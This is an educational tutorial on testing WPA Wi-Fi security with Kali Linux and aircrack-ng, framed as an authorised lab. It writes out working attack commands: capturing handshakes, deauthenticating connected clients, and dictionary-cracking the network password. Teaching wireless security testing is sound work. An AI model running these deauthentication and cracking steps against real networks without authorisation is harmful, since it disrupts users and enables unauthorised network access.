Wi-Fi Security Testing (Ethical Hacking Lab)
Disclaimer
This document is for educational purposes only. All Wi-Fi testing methods described here must only be
performed on networks you own or have explicit permission to test. Unauthorized access to any network is
illegal.
What You Need
- Kali Linux (installed or virtual machine)
- Wi-Fi adapter that supports monitor mode (e.g., Alfa AWUS036NHA)
- Your own Wi-Fi router for legal testing
- Wordlist file for dictionary attack (e.g., [Link])
Step 1: Enable Monitor Mode
Open your terminal in Kali Linux and run:
airmon-ng start wlan0
This enables monitor mode on your wireless adapter.
Step 2: Discover Wi-Fi Networks
Scan for available networks:
airodump-ng wlan0mon
Identify your target network and note the BSSID and channel number.
Step 3: Capture the WPA Handshake
Wi-Fi Security Testing (Ethical Hacking Lab)
Run the command below to start capturing packets:
airodump-ng -c <channel> --bssid <target_bssid> -w capture wlan0mon
Replace <channel> and <target_bssid> with the values from Step 2.
Step 4: Deauthenticate a Device
To force a handshake, disconnect a device using:
aireplay-ng --deauth 5 -a <target_bssid> -c <client_mac> wlan0mon
This will force the client to reconnect, allowing you to capture the handshake.
Step 5: Crack WPA Password Using Dictionary Attack
Once you have a handshake file (e.g., [Link]), use this command:
aircrack-ng -w [Link] -b <target_bssid> [Link]
Replace '[Link]' with your dictionary file and '<target_bssid>' with your target's BSSID.
Important Legal Note
Only perform these tests on networks you own or are authorized to test. Accessing or attempting to break into
networks without permission is illegal and punishable by law.
Conclusion
This guide provides a hands-on approach to understanding Wi-Fi security. Practicing in a legal lab
environment helps build real-world skills in ethical hacking and cybersecurity.